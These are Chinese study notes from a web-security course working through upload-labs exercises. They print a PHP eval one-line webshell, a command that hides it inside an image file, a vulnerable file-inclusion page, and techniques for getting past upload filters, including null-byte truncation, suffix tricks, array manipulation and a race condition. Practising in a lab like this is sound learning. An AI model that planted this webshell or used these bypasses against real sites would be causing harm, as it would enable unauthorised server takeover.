小迪
https://www.bilibili.com/video/BV1JZ4y1c7ro?p=21
1.upload-labs less14
一句话合成图片🐎
把1.png和shell.php组合成webshell.jpg
copy 1.png /b + shell.php /a webshell.jpg
shell.php
eval() 函数把字符串按照 PHP 代码来计算
@是错误控制运算符,用屏蔽错误提示
<?php @ eval($_POST['x']) ; ?>
代码插进去了
文件包含漏洞
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。
为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
PHP中提供了四个文件包含的函数:
include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once( )
功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次
require( )
require()与 include()的区别在于 require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
require_once( )
功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。
还分为本地文件包含和远程文件包含
less14本地文件包含漏洞
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
代码验证头信息
PHP中函数pack和unpack的用法
https://segmentfault.com/a/1190000008305573
isset函数是检测变量是否设置
上传webshell,jpg 复制地址
文件包含
post传参
2.less15
getimagesize只接受图像相当于限制了上传文件类型
getimagesize返回数组索引
哎嘿怎么上传jpg也行呢
原来jpeg和jpg一样🙄
再制作png🐎
cpoy 1.jpg /b + shell.php /a webshll.png
这里不知道为啥png最后成了jpeg
3.less16
需要开启php_exif模块
4.less18(老版本17)二次渲染,条件竞争绕过
查看路径变化
可以看到webshell是上传到文件目录后被重命名的,(二次渲染:网站对用户上传的文件进行放大缩小等操作,统一规格),如果这时候访问webshell,文件占用,那就rename不了了(条件竞争)。
抓包,设置循环发包,用浏览器一直访问webshell
2021burp intruder模块使用
https://www.cnblogs.com/yunyunyu/p/15488002.html
Send to lntruder
电脑太垃圾,没捕捉到
5.less17
注意区分strrpos,返回的是字符串最后出现的位置,整数
less20(老版本19)目录命名
最后的文件路径是由img_path决定,而img_path由save_name决定,虽然pathinfo返回后缀名进行了检测,但是我们可以使用上节课学习的知识
使用%00截断
失败,因为没有对文件名做操作,只是放在路径,%00不起作用。
这是黑名单,而且没大小写检测,改为Php上传成功
结果我的电脑不识别大写没法打开文件
使用php/.绕过
less21(数组接受、目录命名)
通过代码分析 ,save_name被打散成数组,代码白名单检测最后一个后缀,利用目录命名upload/upload-20.php/.改成upload/upload-20.php/.jpg绕过白名单
如果直接上传upload/upload-20.php/.jpg最后文件为upload-20.jpg,因为文件命名取由.分开的第一和最后一个数组
这里只能直接抓包改数组了,让最后一个为jpg绕过白名单,利用文件目录最后生成upload-20.php
上传成功
**CVE-2017-12615-上传 Tomcat **
中间件解析漏洞+配合文件上传测试